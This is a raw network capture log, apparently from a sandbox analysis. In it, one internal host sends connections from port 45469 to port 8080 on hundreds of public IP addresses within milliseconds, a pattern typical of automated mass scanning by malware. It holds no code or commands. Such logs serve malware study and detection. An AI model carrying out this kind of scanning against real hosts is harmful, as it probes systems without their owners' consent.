Dec 26, 2023 21:22:48.511207104 CET	45469	8080	192.168.2.23	85.33.140.154
Dec 26, 2023 21:22:48.511213064 CET	45469	8080	192.168.2.23	31.106.90.240
Dec 26, 2023 21:22:48.511223078 CET	45469	8080	192.168.2.23	62.218.133.216
Dec 26, 2023 21:22:48.511225939 CET	45469	8080	192.168.2.23	85.222.79.106
Dec 26, 2023 21:22:48.511238098 CET	45469	8080	192.168.2.23	85.157.68.211
Dec 26, 2023 21:22:48.511255026 CET	45469	8080	192.168.2.23	85.249.16.193
Dec 26, 2023 21:22:48.511255026 CET	45469	8080	192.168.2.23	85.239.125.140
Dec 26, 2023 21:22:48.511272907 CET	45469	8080	192.168.2.23	31.239.221.3
Dec 26, 2023 21:22:48.511276007 CET	45469	8080	192.168.2.23	85.128.146.57
Dec 26, 2023 21:22:48.511276007 CET	45469	8080	192.168.2.23	31.244.215.121
Dec 26, 2023 21:22:48.511288881 CET	45469	8080	192.168.2.23	94.226.142.219
Dec 26, 2023 21:22:48.511296034 CET	45469	8080	192.168.2.23	85.202.99.106
Dec 26, 2023 21:22:48.511308908 CET	45469	8080	192.168.2.23	85.181.107.46
Dec 26, 2023 21:22:48.511331081 CET	45469	8080	192.168.2.23	95.118.163.68
Dec 26, 2023 21:22:48.511331081 CET	45469	8080	192.168.2.23	94.23.75.96
Dec 26, 2023 21:22:48.511334896 CET	45469	8080	192.168.2.23	85.226.185.42
Dec 26, 2023 21:22:48.511344910 CET	45469	8080	192.168.2.23	94.44.248.16
Dec 26, 2023 21:22:48.511348963 CET	45469	8080	192.168.2.23	31.122.244.155
Dec 26, 2023 21:22:48.511364937 CET	45469	8080	192.168.2.23	94.129.211.109
Dec 26, 2023 21:22:48.511388063 CET	45469	8080	192.168.2.23	31.27.198.47
Dec 26, 2023 21:22:48.511388063 CET	45469	8080	192.168.2.23	31.42.14.128
Dec 26, 2023 21:22:48.511388063 CET	45469	8080	192.168.2.23	85.138.172.78
Dec 26, 2023 21:22:48.511404037 CET	45469	8080	192.168.2.23	31.97.128.255
Dec 26, 2023 21:22:48.511413097 CET	45469	8080	192.168.2.23	62.65.47.200
Dec 26, 2023 21:22:48.511431932 CET	45469	8080	192.168.2.23	94.70.229.70
Dec 26, 2023 21:22:48.511436939 CET	45469	8080	192.168.2.23	85.45.252.243
Dec 26, 2023 21:22:48.511442900 CET	45469	8080	192.168.2.23	31.212.226.180
Dec 26, 2023 21:22:48.511449099 CET	45469	8080	192.168.2.23	31.9.157.153
Dec 26, 2023 21:22:48.511456013 CET	45469	8080	192.168.2.23	85.48.229.42
Dec 26, 2023 21:22:48.511456966 CET	45469	8080	192.168.2.23	94.91.161.149
Dec 26, 2023 21:22:48.511475086 CET	45469	8080	192.168.2.23	95.158.169.205
Dec 26, 2023 21:22:48.511488914 CET	45469	8080	192.168.2.23	95.4.138.10
Dec 26, 2023 21:22:48.511497021 CET	45469	8080	192.168.2.23	85.189.183.186
Dec 26, 2023 21:22:48.511497021 CET	45469	8080	192.168.2.23	85.170.126.123
Dec 26, 2023 21:22:48.511513948 CET	45469	8080	192.168.2.23	31.10.61.116
Dec 26, 2023 21:22:48.511519909 CET	45469	8080	192.168.2.23	94.145.9.226
Dec 26, 2023 21:22:48.511532068 CET	45469	8080	192.168.2.23	95.174.133.95
Dec 26, 2023 21:22:48.511533976 CET	45469	8080	192.168.2.23	31.180.111.78
Dec 26, 2023 21:22:48.511537075 CET	45469	8080	192.168.2.23	95.1.236.80
Dec 26, 2023 21:22:48.511547089 CET	45469	8080	192.168.2.23	31.15.170.62
Dec 26, 2023 21:22:48.511547089 CET	45469	8080	192.168.2.23	31.39.207.187
Dec 26, 2023 21:22:48.511554956 CET	45469	8080	192.168.2.23	31.246.112.235
Dec 26, 2023 21:22:48.511568069 CET	45469	8080	192.168.2.23	85.70.117.181
Dec 26, 2023 21:22:48.511569023 CET	45469	8080	192.168.2.23	62.215.133.51
Dec 26, 2023 21:22:48.511569023 CET	45469	8080	192.168.2.23	62.198.172.13
Dec 26, 2023 21:22:48.511579037 CET	45469	8080	192.168.2.23	85.53.108.246
Dec 26, 2023 21:22:48.511581898 CET	45469	8080	192.168.2.23	31.211.138.185
Dec 26, 2023 21:22:48.511583090 CET	45469	8080	192.168.2.23	62.26.120.213
Dec 26, 2023 21:22:48.511584044 CET	45469	8080	192.168.2.23	85.60.112.203
Dec 26, 2023 21:22:48.511596918 CET	45469	8080	192.168.2.23	31.202.32.215
Dec 26, 2023 21:22:48.511598110 CET	45469	8080	192.168.2.23	62.233.133.192
Dec 26, 2023 21:22:48.511620998 CET	45469	8080	192.168.2.23	95.64.153.93
Dec 26, 2023 21:22:48.511620998 CET	45469	8080	192.168.2.23	95.167.217.230
Dec 26, 2023 21:22:48.511631966 CET	45469	8080	192.168.2.23	95.205.220.79
Dec 26, 2023 21:22:48.511648893 CET	45469	8080	192.168.2.23	94.214.74.19
Dec 26, 2023 21:22:48.511666059 CET	45469	8080	192.168.2.23	95.192.67.73
Dec 26, 2023 21:22:48.511672974 CET	45469	8080	192.168.2.23	85.7.226.178
Dec 26, 2023 21:22:48.511677027 CET	45469	8080	192.168.2.23	31.118.83.229
Dec 26, 2023 21:22:48.511683941 CET	45469	8080	192.168.2.23	95.80.84.227
Dec 26, 2023 21:22:48.511686087 CET	45469	8080	192.168.2.23	95.254.39.176
Dec 26, 2023 21:22:48.511693954 CET	45469	8080	192.168.2.23	85.87.45.65
Dec 26, 2023 21:22:48.511694908 CET	45469	8080	192.168.2.23	62.167.193.82
Dec 26, 2023 21:22:48.511698961 CET	45469	8080	192.168.2.23	85.151.221.26
Dec 26, 2023 21:22:48.511712074 CET	45469	8080	192.168.2.23	95.61.24.0
Dec 26, 2023 21:22:48.511718035 CET	45469	8080	192.168.2.23	62.164.216.192
Dec 26, 2023 21:22:48.511722088 CET	45469	8080	192.168.2.23	62.88.185.157
Dec 26, 2023 21:22:48.511734009 CET	45469	8080	192.168.2.23	62.119.161.227
Dec 26, 2023 21:22:48.511761904 CET	45469	8080	192.168.2.23	62.200.106.178
Dec 26, 2023 21:22:48.511761904 CET	45469	8080	192.168.2.23	85.42.251.121
Dec 26, 2023 21:22:48.511780977 CET	45469	8080	192.168.2.23	95.88.220.73
Dec 26, 2023 21:22:48.511784077 CET	45469	8080	192.168.2.23	62.189.44.8
Dec 26, 2023 21:22:48.511801004 CET	45469	8080	192.168.2.23	95.117.138.134
Dec 26, 2023 21:22:48.511802912 CET	45469	8080	192.168.2.23	95.27.220.72
Dec 26, 2023 21:22:48.511809111 CET	45469	8080	192.168.2.23	94.20.53.79
Dec 26, 2023 21:22:48.511815071 CET	45469	8080	192.168.2.23	85.137.210.65
Dec 26, 2023 21:22:48.511835098 CET	45469	8080	192.168.2.23	62.118.171.58
Dec 26, 2023 21:22:48.511847973 CET	45469	8080	192.168.2.23	62.112.222.232
Dec 26, 2023 21:22:48.511851072 CET	45469	8080	192.168.2.23	95.24.138.180
Dec 26, 2023 21:22:48.511867046 CET	45469	8080	192.168.2.23	85.1.73.52
Dec 26, 2023 21:22:48.511878014 CET	45469	8080	192.168.2.23	94.247.255.137
Dec 26, 2023 21:22:48.511897087 CET	45469	8080	192.168.2.23	94.145.90.163
Dec 26, 2023 21:22:48.511897087 CET	45469	8080	192.168.2.23	94.93.148.162
Dec 26, 2023 21:22:48.511912107 CET	45469	8080	192.168.2.23	85.253.58.126
Dec 26, 2023 21:22:48.511914015 CET	45469	8080	192.168.2.23	62.178.142.140
Dec 26, 2023 21:22:48.511917114 CET	45469	8080	192.168.2.23	94.148.151.206
Dec 26, 2023 21:22:48.511929989 CET	45469	8080	192.168.2.23	62.146.197.140
Dec 26, 2023 21:22:48.511930943 CET	45469	8080	192.168.2.23	85.222.86.240
Dec 26, 2023 21:22:48.511945963 CET	45469	8080	192.168.2.23	85.182.202.122
Dec 26, 2023 21:22:48.511955976 CET	45469	8080	192.168.2.23	95.145.50.38
Dec 26, 2023 21:22:48.511981010 CET	45469	8080	192.168.2.23	85.54.173.116
Dec 26, 2023 21:22:48.511989117 CET	45469	8080	192.168.2.23	94.200.172.91
Dec 26, 2023 21:22:48.511997938 CET	45469	8080	192.168.2.23	31.42.198.207
Dec 26, 2023 21:22:48.512007952 CET	45469	8080	192.168.2.23	62.136.72.36
Dec 26, 2023 21:22:48.512025118 CET	45469	8080	192.168.2.23	85.116.197.173
Dec 26, 2023 21:22:48.512041092 CET	45469	8080	192.168.2.23	31.198.70.134
Dec 26, 2023 21:22:48.512048006 CET	45469	8080	192.168.2.23	85.127.0.47
Dec 26, 2023 21:22:48.512048006 CET	45469	8080	192.168.2.23	31.170.46.149
Dec 26, 2023 21:22:48.512059927 CET	45469	8080	192.168.2.23	95.137.39.75
Dec 26, 2023 21:22:48.512064934 CET	45469	8080	192.168.2.23	94.197.100.246
Dec 26, 2023 21:22:48.512073040 CET	45469	8080	192.168.2.23	95.171.146.237
Dec 26, 2023 21:22:48.512082100 CET	45469	8080	192.168.2.23	85.244.41.239
Dec 26, 2023 21:22:48.512089014 CET	45469	8080	192.168.2.23	62.173.118.65
Dec 26, 2023 21:22:48.512089968 CET	45469	8080	192.168.2.23	95.105.239.88
Dec 26, 2023 21:22:48.512105942 CET	45469	8080	192.168.2.23	31.98.194.134
Dec 26, 2023 21:22:48.512115955 CET	45469	8080	192.168.2.23	95.240.14.66
Dec 26, 2023 21:22:48.512115955 CET	45469	8080	192.168.2.23	31.195.65.193
Dec 26, 2023 21:22:48.512128115 CET	45469	8080	192.168.2.23	95.232.114.140
Dec 26, 2023 21:22:48.512130976 CET	45469	8080	192.168.2.23	94.117.189.255
Dec 26, 2023 21:22:48.512144089 CET	45469	8080	192.168.2.23	31.197.28.30
Dec 26, 2023 21:22:48.512146950 CET	45469	8080	192.168.2.23	94.59.5.175
Dec 26, 2023 21:22:48.512156963 CET	45469	8080	192.168.2.23	31.17.67.107
Dec 26, 2023 21:22:48.512168884 CET	45469	8080	192.168.2.23	31.246.84.86
Dec 26, 2023 21:22:48.512202024 CET	45469	8080	192.168.2.23	94.64.202.0
Dec 26, 2023 21:22:48.512209892 CET	45469	8080	192.168.2.23	62.250.121.144
Dec 26, 2023 21:22:48.512223005 CET	45469	8080	192.168.2.23	95.199.23.51
Dec 26, 2023 21:22:48.512226105 CET	45469	8080	192.168.2.23	94.208.109.88
Dec 26, 2023 21:22:48.512233973 CET	45469	8080	192.168.2.23	31.4.211.63
Dec 26, 2023 21:22:48.512239933 CET	45469	8080	192.168.2.23	31.134.248.164
Dec 26, 2023 21:22:48.512239933 CET	45469	8080	192.168.2.23	31.96.80.216
Dec 26, 2023 21:22:48.512258053 CET	45469	8080	192.168.2.23	94.48.107.124
Dec 26, 2023 21:22:48.512264013 CET	45469	8080	192.168.2.23	62.182.222.92
Dec 26, 2023 21:22:48.512278080 CET	45469	8080	192.168.2.23	31.205.45.203
Dec 26, 2023 21:22:48.512286901 CET	45469	8080	192.168.2.23	85.15.81.8
Dec 26, 2023 21:22:48.512295008 CET	45469	8080	192.168.2.23	85.112.133.141
Dec 26, 2023 21:22:48.512296915 CET	45469	8080	192.168.2.23	95.187.85.51
Dec 26, 2023 21:22:48.512307882 CET	45469	8080	192.168.2.23	31.156.250.190
Dec 26, 2023 21:22:48.512317896 CET	45469	8080	192.168.2.23	94.31.89.100
Dec 26, 2023 21:22:48.512324095 CET	45469	8080	192.168.2.23	31.240.206.109
Dec 26, 2023 21:22:48.512329102 CET	45469	8080	192.168.2.23	31.142.180.236
Dec 26, 2023 21:22:48.512332916 CET	45469	8080	192.168.2.23	62.194.151.106
Dec 26, 2023 21:22:48.512334108 CET	45469	8080	192.168.2.23	95.204.55.199
Dec 26, 2023 21:22:48.512336969 CET	45469	8080	192.168.2.23	94.149.204.250
Dec 26, 2023 21:22:48.512340069 CET	45469	8080	192.168.2.23	62.64.103.81
Dec 26, 2023 21:22:48.512348890 CET	45469	8080	192.168.2.23	95.182.142.23
Dec 26, 2023 21:22:48.512365103 CET	45469	8080	192.168.2.23	94.246.190.123
Dec 26, 2023 21:22:48.512382984 CET	45469	8080	192.168.2.23	94.60.228.182
Dec 26, 2023 21:22:48.512388945 CET	45469	8080	192.168.2.23	94.93.116.181
Dec 26, 2023 21:22:48.512404919 CET	45469	8080	192.168.2.23	94.35.92.11
Dec 26, 2023 21:22:48.512429953 CET	45469	8080	192.168.2.23	31.164.211.76
Dec 26, 2023 21:22:48.512438059 CET	45469	8080	192.168.2.23	31.174.95.177
Dec 26, 2023 21:22:48.512454987 CET	45469	8080	192.168.2.23	95.13.12.232
Dec 26, 2023 21:22:48.512460947 CET	45469	8080	192.168.2.23	85.72.89.102
Dec 26, 2023 21:22:48.512471914 CET	45469	8080	192.168.2.23	85.161.252.187
Dec 26, 2023 21:22:48.512471914 CET	45469	8080	192.168.2.23	94.16.104.205
Dec 26, 2023 21:22:48.512480021 CET	45469	8080	192.168.2.23	62.22.111.165
Dec 26, 2023 21:22:48.512485027 CET	45469	8080	192.168.2.23	94.91.25.170
Dec 26, 2023 21:22:48.512492895 CET	45469	8080	192.168.2.23	31.179.108.229
Dec 26, 2023 21:22:48.512511015 CET	45469	8080	192.168.2.23	95.236.173.205
Dec 26, 2023 21:22:48.512523890 CET	45469	8080	192.168.2.23	31.140.148.11
Dec 26, 2023 21:22:48.512536049 CET	45469	8080	192.168.2.23	62.24.38.107
Dec 26, 2023 21:22:48.512542963 CET	45469	8080	192.168.2.23	62.192.70.108
Dec 26, 2023 21:22:48.512546062 CET	45469	8080	192.168.2.23	94.71.116.153
Dec 26, 2023 21:22:48.512557983 CET	45469	8080	192.168.2.23	94.24.220.243
Dec 26, 2023 21:22:48.512567043 CET	45469	8080	192.168.2.23	94.101.167.74
Dec 26, 2023 21:22:48.512583017 CET	45469	8080	192.168.2.23	94.188.218.232
Dec 26, 2023 21:22:48.512583017 CET	45469	8080	192.168.2.23	95.3.69.123
Dec 26, 2023 21:22:48.512598991 CET	45469	8080	192.168.2.23	85.244.186.50
Dec 26, 2023 21:22:48.512613058 CET	45469	8080	192.168.2.23	31.28.91.154
Dec 26, 2023 21:22:48.512613058 CET	45469	8080	192.168.2.23	94.195.103.186
Dec 26, 2023 21:22:48.512619019 CET	45469	8080	192.168.2.23	31.242.124.157
Dec 26, 2023 21:22:48.512630939 CET	45469	8080	192.168.2.23	94.213.127.62
Dec 26, 2023 21:22:48.512643099 CET	45469	8080	192.168.2.23	31.253.162.104
Dec 26, 2023 21:22:48.512660027 CET	45469	8080	192.168.2.23	94.148.40.31
Dec 26, 2023 21:22:48.512670994 CET	45469	8080	192.168.2.23	31.127.209.231
Dec 26, 2023 21:22:48.512687922 CET	45469	8080	192.168.2.23	94.129.55.73
Dec 26, 2023 21:22:48.512691975 CET	45469	8080	192.168.2.23	62.60.244.52
Dec 26, 2023 21:22:48.512691975 CET	45469	8080	192.168.2.23	62.3.167.142
Dec 26, 2023 21:22:48.512701988 CET	45469	8080	192.168.2.23	62.35.19.211
Dec 26, 2023 21:22:48.512703896 CET	45469	8080	192.168.2.23	85.132.164.109
Dec 26, 2023 21:22:48.512703896 CET	45469	8080	192.168.2.23	31.178.43.20
Dec 26, 2023 21:22:48.512722015 CET	45469	8080	192.168.2.23	85.58.67.67
Dec 26, 2023 21:22:48.512728930 CET	45469	8080	192.168.2.23	62.91.98.126
Dec 26, 2023 21:22:48.512737989 CET	45469	8080	192.168.2.23	95.156.228.117
Dec 26, 2023 21:22:48.512738943 CET	45469	8080	192.168.2.23	94.191.69.155
Dec 26, 2023 21:22:48.512744904 CET	45469	8080	192.168.2.23	62.245.58.185
Dec 26, 2023 21:22:48.512744904 CET	45469	8080	192.168.2.23	85.137.50.201
Dec 26, 2023 21:22:48.512753963 CET	45469	8080	192.168.2.23	95.251.187.36
Dec 26, 2023 21:22:48.512762070 CET	45469	8080	192.168.2.23	85.43.223.185
Dec 26, 2023 21:22:48.512762070 CET	45469	8080	192.168.2.23	95.136.91.157
Dec 26, 2023 21:22:48.512763023 CET	45469	8080	192.168.2.23	62.86.155.95
Dec 26, 2023 21:22:48.512768984 CET	45469	8080	192.168.2.23	85.107.66.11
Dec 26, 2023 21:22:48.512772083 CET	45469	8080	192.168.2.23	94.1.104.227
Dec 26, 2023 21:22:48.512789011 CET	45469	8080	192.168.2.23	95.148.184.151
Dec 26, 2023 21:22:48.512797117 CET	45469	8080	192.168.2.23	94.27.9.24
Dec 26, 2023 21:22:48.512818098 CET	45469	8080	192.168.2.23	94.164.196.33
Dec 26, 2023 21:22:48.512820005 CET	45469	8080	192.168.2.23	94.81.140.183
Dec 26, 2023 21:22:48.512833118 CET	45469	8080	192.168.2.23	94.181.94.170
Dec 26, 2023 21:22:48.512854099 CET	45469	8080	192.168.2.23	94.187.146.210
Dec 26, 2023 21:22:48.512860060 CET	45469	8080	192.168.2.23	95.218.83.138
Dec 26, 2023 21:22:48.512862921 CET	45469	8080	192.168.2.23	62.54.132.181
Dec 26, 2023 21:22:48.512871981 CET	45469	8080	192.168.2.23	31.32.191.216
Dec 26, 2023 21:22:48.512880087 CET	45469	8080	192.168.2.23	94.168.79.217
Dec 26, 2023 21:22:48.512886047 CET	45469	8080	192.168.2.23	94.160.126.106
Dec 26, 2023 21:22:48.512895107 CET	45469	8080	192.168.2.23	85.106.113.198
Dec 26, 2023 21:22:48.512902975 CET	45469	8080	192.168.2.23	31.131.215.11
Dec 26, 2023 21:22:48.512918949 CET	45469	8080	192.168.2.23	62.115.26.211
Dec 26, 2023 21:22:48.512932062 CET	45469	8080	192.168.2.23	31.20.139.93
Dec 26, 2023 21:22:48.512948990 CET	45469	8080	192.168.2.23	95.212.205.102
Dec 26, 2023 21:22:48.512958050 CET	45469	8080	192.168.2.23	94.178.14.52
Dec 26, 2023 21:22:48.512973070 CET	45469	8080	192.168.2.23	62.215.246.7
Dec 26, 2023 21:22:48.512973070 CET	45469	8080	192.168.2.23	94.64.100.155
Dec 26, 2023 21:22:48.512974024 CET	45469	8080	192.168.2.23	85.145.101.109
Dec 26, 2023 21:22:48.512976885 CET	45469	8080	192.168.2.23	31.213.144.201
Dec 26, 2023 21:22:48.512979984 CET	45469	8080	192.168.2.23	31.137.101.41
Dec 26, 2023 21:22:48.512995958 CET	45469	8080	192.168.2.23	62.46.62.236
Dec 26, 2023 21:22:48.512995958 CET	45469	8080	192.168.2.23	95.212.65.173
Dec 26, 2023 21:22:48.513010025 CET	45469	8080	192.168.2.23	31.118.239.40
Dec 26, 2023 21:22:48.513010979 CET	45469	8080	192.168.2.23	31.122.139.77
Dec 26, 2023 21:22:48.513030052 CET	45469	8080	192.168.2.23	62.189.43.183
Dec 26, 2023 21:22:48.513036966 CET	45469	8080	192.168.2.23	62.236.190.3
Dec 26, 2023 21:22:48.513046980 CET	45469	8080	192.168.2.23	31.214.237.166
Dec 26, 2023 21:22:48.513060093 CET	45469	8080	192.168.2.23	94.153.31.234
Dec 26, 2023 21:22:48.513077974 CET	45469	8080	192.168.2.23	62.19.97.109
Dec 26, 2023 21:22:48.513082981 CET	45469	8080	192.168.2.23	94.93.38.46
Dec 26, 2023 21:22:48.513083935 CET	45469	8080	192.168.2.23	94.119.125.19
Dec 26, 2023 21:22:48.513099909 CET	45469	8080	192.168.2.23	95.152.149.215
Dec 26, 2023 21:22:48.513101101 CET	45469	8080	192.168.2.23	31.22.115.105
Dec 26, 2023 21:22:48.513107061 CET	45469	8080	192.168.2.23	62.2.160.214
Dec 26, 2023 21:22:48.513107061 CET	45469	8080	192.168.2.23	31.108.187.161
Dec 26, 2023 21:22:48.513107061 CET	45469	8080	192.168.2.23	95.162.42.227
Dec 26, 2023 21:22:48.513108969 CET	45469	8080	192.168.2.23	85.150.127.202
Dec 26, 2023 21:22:48.513125896 CET	45469	8080	192.168.2.23	62.9.121.111
Dec 26, 2023 21:22:48.513125896 CET	45469	8080	192.168.2.23	95.56.4.89
Dec 26, 2023 21:22:48.513156891 CET	45469	8080	192.168.2.23	85.213.254.1
Dec 26, 2023 21:22:48.513160944 CET	45469	8080	192.168.2.23	31.145.245.48
Dec 26, 2023 21:22:48.513161898 CET	45469	8080	192.168.2.23	95.82.83.5
Dec 26, 2023 21:22:48.513169050 CET	45469	8080	192.168.2.23	31.35.89.131
Dec 26, 2023 21:22:48.513173103 CET	45469	8080	192.168.2.23	94.183.47.104
Dec 26, 2023 21:22:48.513180971 CET	45469	8080	192.168.2.23	62.203.166.217
Dec 26, 2023 21:22:48.513183117 CET	45469	8080	192.168.2.23	94.160.60.138
Dec 26, 2023 21:22:48.513195038 CET	45469	8080	192.168.2.23	62.239.100.130
Dec 26, 2023 21:22:48.513206959 CET	45469	8080	192.168.2.23	95.196.56.139
Dec 26, 2023 21:22:48.513242960 CET	45469	8080	192.168.2.23	94.168.173.5
Dec 26, 2023 21:22:48.513242960 CET	45469	8080	192.168.2.23	95.237.5.223
Dec 26, 2023 21:22:48.513243914 CET	45469	8080	192.168.2.23	94.54.12.197
Dec 26, 2023 21:22:48.513245106 CET	45469	8080	192.168.2.23	62.58.1.129
Dec 26, 2023 21:22:48.513247013 CET	45469	8080	192.168.2.23	31.203.65.100
Dec 26, 2023 21:22:48.513247967 CET	45469	8080	192.168.2.23	85.211.248.9
Dec 26, 2023 21:22:48.513258934 CET	45469	8080	192.168.2.23	85.39.46.243
Dec 26, 2023 21:22:48.513262987 CET	45469	8080	192.168.2.23	94.28.232.148
Dec 26, 2023 21:22:48.513276100 CET	45469	8080	192.168.2.23	62.86.204.237
Dec 26, 2023 21:22:48.513286114 CET	45469	8080	192.168.2.23	31.217.51.119
Dec 26, 2023 21:22:48.513298988 CET	45469	8080	192.168.2.23	31.67.158.138
Dec 26, 2023 21:22:48.513299942 CET	45469	8080	192.168.2.23	31.51.0.24
Dec 26, 2023 21:22:48.513310909 CET	45469	8080	192.168.2.23	31.168.88.36
Dec 26, 2023 21:22:48.513324976 CET	45469	8080	192.168.2.23	31.192.16.23
Dec 26, 2023 21:22:48.513335943 CET	45469	8080	192.168.2.23	62.48.22.154
Dec 26, 2023 21:22:48.513356924 CET	45469	8080	192.168.2.23	31.89.212.131
Dec 26, 2023 21:22:48.513360977 CET	45469	8080	192.168.2.23	94.202.245.51
Dec 26, 2023 21:22:48.513367891 CET	45469	8080	192.168.2.23	62.74.102.9
Dec 26, 2023 21:22:48.513367891 CET	45469	8080	192.168.2.23	94.49.168.241
Dec 26, 2023 21:22:48.513370037 CET	45469	8080	192.168.2.23	94.90.127.188
Dec 26, 2023 21:22:48.513370991 CET	45469	8080	192.168.2.23	95.214.155.12
Dec 26, 2023 21:22:48.513386011 CET	45469	8080	192.168.2.23	62.86.23.121
Dec 26, 2023 21:22:48.513387918 CET	45469	8080	192.168.2.23	95.104.130.72
Dec 26, 2023 21:22:48.513396025 CET	45469	8080	192.168.2.23	62.30.48.105
Dec 26, 2023 21:22:48.513410091 CET	45469	8080	192.168.2.23	94.92.131.22
Dec 26, 2023 21:22:48.513411045 CET	45469	8080	192.168.2.23	85.28.22.13
Dec 26, 2023 21:22:48.513421059 CET	45469	8080	192.168.2.23	62.215.126.66
Dec 26, 2023 21:22:48.513437033 CET	45469	8080	192.168.2.23	31.210.77.228
Dec 26, 2023 21:22:48.513448000 CET	45469	8080	192.168.2.23	94.200.196.45
Dec 26, 2023 21:22:48.513463974 CET	45469	8080	192.168.2.23	31.43.3.123
Dec 26, 2023 21:22:48.513472080 CET	45469	8080	192.168.2.23	31.82.130.76
Dec 26, 2023 21:22:48.513487101 CET	45469	8080	192.168.2.23	31.70.168.105
Dec 26, 2023 21:22:48.513499022 CET	45469	8080	192.168.2.23	85.231.119.30
Dec 26, 2023 21:22:48.513504028 CET	45469	8080	192.168.2.23	85.144.119.13
Dec 26, 2023 21:22:48.513519049 CET	45469	8080	192.168.2.23	94.152.146.205
Dec 26, 2023 21:22:48.513521910 CET	45469	8080	192.168.2.23	95.119.187.171
Dec 26, 2023 21:22:48.513535023 CET	45469	8080	192.168.2.23	94.217.163.213
Dec 26, 2023 21:22:48.513535976 CET	45469	8080	192.168.2.23	85.124.149.121
Dec 26, 2023 21:22:48.513544083 CET	45469	8080	192.168.2.23	85.216.174.15
Dec 26, 2023 21:22:48.513552904 CET	45469	8080	192.168.2.23	31.205.111.246
Dec 26, 2023 21:22:48.513552904 CET	45469	8080	192.168.2.23	62.142.243.173
Dec 26, 2023 21:22:48.513554096 CET	45469	8080	192.168.2.23	31.41.118.114
Dec 26, 2023 21:22:48.513565063 CET	45469	8080	192.168.2.23	85.23.93.77
Dec 26, 2023 21:22:48.513573885 CET	45469	8080	192.168.2.23	31.58.151.172
Dec 26, 2023 21:22:48.513582945 CET	45469	8080	192.168.2.23	62.52.3.53
Dec 26, 2023 21:22:48.513597012 CET	45469	8080	192.168.2.23	95.60.189.178
Dec 26, 2023 21:22:48.513614893 CET	45469	8080	192.168.2.23	62.110.210.177
Dec 26, 2023 21:22:48.513618946 CET	45469	8080	192.168.2.23	95.216.238.19
Dec 26, 2023 21:22:48.513622999 CET	45469	8080	192.168.2.23	95.13.51.9
Dec 26, 2023 21:22:48.513623953 CET	45469	8080	192.168.2.23	31.240.59.136
Dec 26, 2023 21:22:48.513631105 CET	45469	8080	192.168.2.23	94.214.208.148
Dec 26, 2023 21:22:48.513648033 CET	45469	8080	192.168.2.23	31.162.104.6
Dec 26, 2023 21:22:48.513654947 CET	45469	8080	192.168.2.23	94.163.122.27
Dec 26, 2023 21:22:48.513658047 CET	45469	8080	192.168.2.23	95.5.87.92
Dec 26, 2023 21:22:48.513675928 CET	45469	8080	192.168.2.23	95.254.65.70
Dec 26, 2023 21:22:48.513675928 CET	45469	8080	192.168.2.23	85.150.172.81
Dec 26, 2023 21:22:48.513689995 CET	45469	8080	192.168.2.23	94.14.52.101
Dec 26, 2023 21:22:48.513695002 CET	45469	8080	192.168.2.23	62.77.96.201
Dec 26, 2023 21:22:48.513714075 CET	45469	8080	192.168.2.23	95.83.96.172
Dec 26, 2023 21:22:48.513721943 CET	45469	8080	192.168.2.23	95.181.152.201
Dec 26, 2023 21:22:48.513724089 CET	45469	8080	192.168.2.23	94.82.85.214
Dec 26, 2023 21:22:48.513725996 CET	45469	8080	192.168.2.23	62.233.221.72
Dec 26, 2023 21:22:48.513730049 CET	45469	8080	192.168.2.23	94.149.143.229
Dec 26, 2023 21:22:48.513735056 CET	45469	8080	192.168.2.23	85.198.194.35
Dec 26, 2023 21:22:48.513741016 CET	45469	8080	192.168.2.23	85.75.92.10
Dec 26, 2023 21:22:48.513742924 CET	45469	8080	192.168.2.23	31.230.0.50
Dec 26, 2023 21:22:48.513742924 CET	45469	8080	192.168.2.23	62.45.60.123
Dec 26, 2023 21:22:48.513750076 CET	45469	8080	192.168.2.23	62.128.255.5
Dec 26, 2023 21:22:48.513756990 CET	45469	8080	192.168.2.23	95.188.233.8
Dec 26, 2023 21:22:48.513767958 CET	45469	8080	192.168.2.23	85.52.216.193
Dec 26, 2023 21:22:48.513777018 CET	45469	8080	192.168.2.23	95.4.236.174
Dec 26, 2023 21:22:48.513780117 CET	45469	8080	192.168.2.23	94.95.164.68
Dec 26, 2023 21:22:48.513789892 CET	45469	8080	192.168.2.23	31.130.217.64
Dec 26, 2023 21:22:48.513801098 CET	45469	8080	192.168.2.23	94.220.147.2
Dec 26, 2023 21:22:48.513803959 CET	45469	8080	192.168.2.23	94.75.67.190
Dec 26, 2023 21:22:48.513818979 CET	45469	8080	192.168.2.23	94.55.162.165
Dec 26, 2023 21:22:48.513838053 CET	45469	8080	192.168.2.23	94.202.64.112
Dec 26, 2023 21:22:48.513842106 CET	45469	8080	192.168.2.23	62.204.226.25
Dec 26, 2023 21:22:48.513849974 CET	45469	8080	192.168.2.23	85.184.154.54
Dec 26, 2023 21:22:48.513856888 CET	45469	8080	192.168.2.23	95.43.181.219
Dec 26, 2023 21:22:48.513864994 CET	45469	8080	192.168.2.23	94.198.58.109
Dec 26, 2023 21:22:48.513895988 CET	45469	8080	192.168.2.23	85.229.97.209
Dec 26, 2023 21:22:48.513901949 CET	45469	8080	192.168.2.23	31.10.240.176
Dec 26, 2023 21:22:48.513911963 CET	45469	8080	192.168.2.23	94.108.74.159
Dec 26, 2023 21:22:48.513931990 CET	45469	8080	192.168.2.23	31.209.202.122
Dec 26, 2023 21:22:48.513953924 CET	45469	8080	192.168.2.23	31.22.22.152
Dec 26, 2023 21:22:48.513955116 CET	45469	8080	192.168.2.23	94.105.95.209
Dec 26, 2023 21:22:48.513955116 CET	45469	8080	192.168.2.23	62.121.160.70
Dec 26, 2023 21:22:48.513962984 CET	45469	8080	192.168.2.23	95.116.20.229
Dec 26, 2023 21:22:48.513981104 CET	45469	8080	192.168.2.23	31.15.41.54
Dec 26, 2023 21:22:48.513987064 CET	45469	8080	192.168.2.23	94.192.66.42
Dec 26, 2023 21:22:48.514000893 CET	45469	8080	192.168.2.23	95.118.15.118
Dec 26, 2023 21:22:48.514007092 CET	45469	8080	192.168.2.23	95.4.66.137
Dec 26, 2023 21:22:48.514008999 CET	45469	8080	192.168.2.23	95.200.17.144
Dec 26, 2023 21:22:48.514020920 CET	45469	8080	192.168.2.23	95.178.68.89
Dec 26, 2023 21:22:48.514039993 CET	45469	8080	192.168.2.23	94.15.187.193
Dec 26, 2023 21:22:48.514044046 CET	45469	8080	192.168.2.23	62.160.82.205
Dec 26, 2023 21:22:48.514046907 CET	45469	8080	192.168.2.23	85.171.130.230
Dec 26, 2023 21:22:48.514051914 CET	45469	8080	192.168.2.23	85.205.232.8
Dec 26, 2023 21:22:48.514060020 CET	45469	8080	192.168.2.23	85.119.2.137
Dec 26, 2023 21:22:48.514077902 CET	45469	8080	192.168.2.23	95.56.173.147
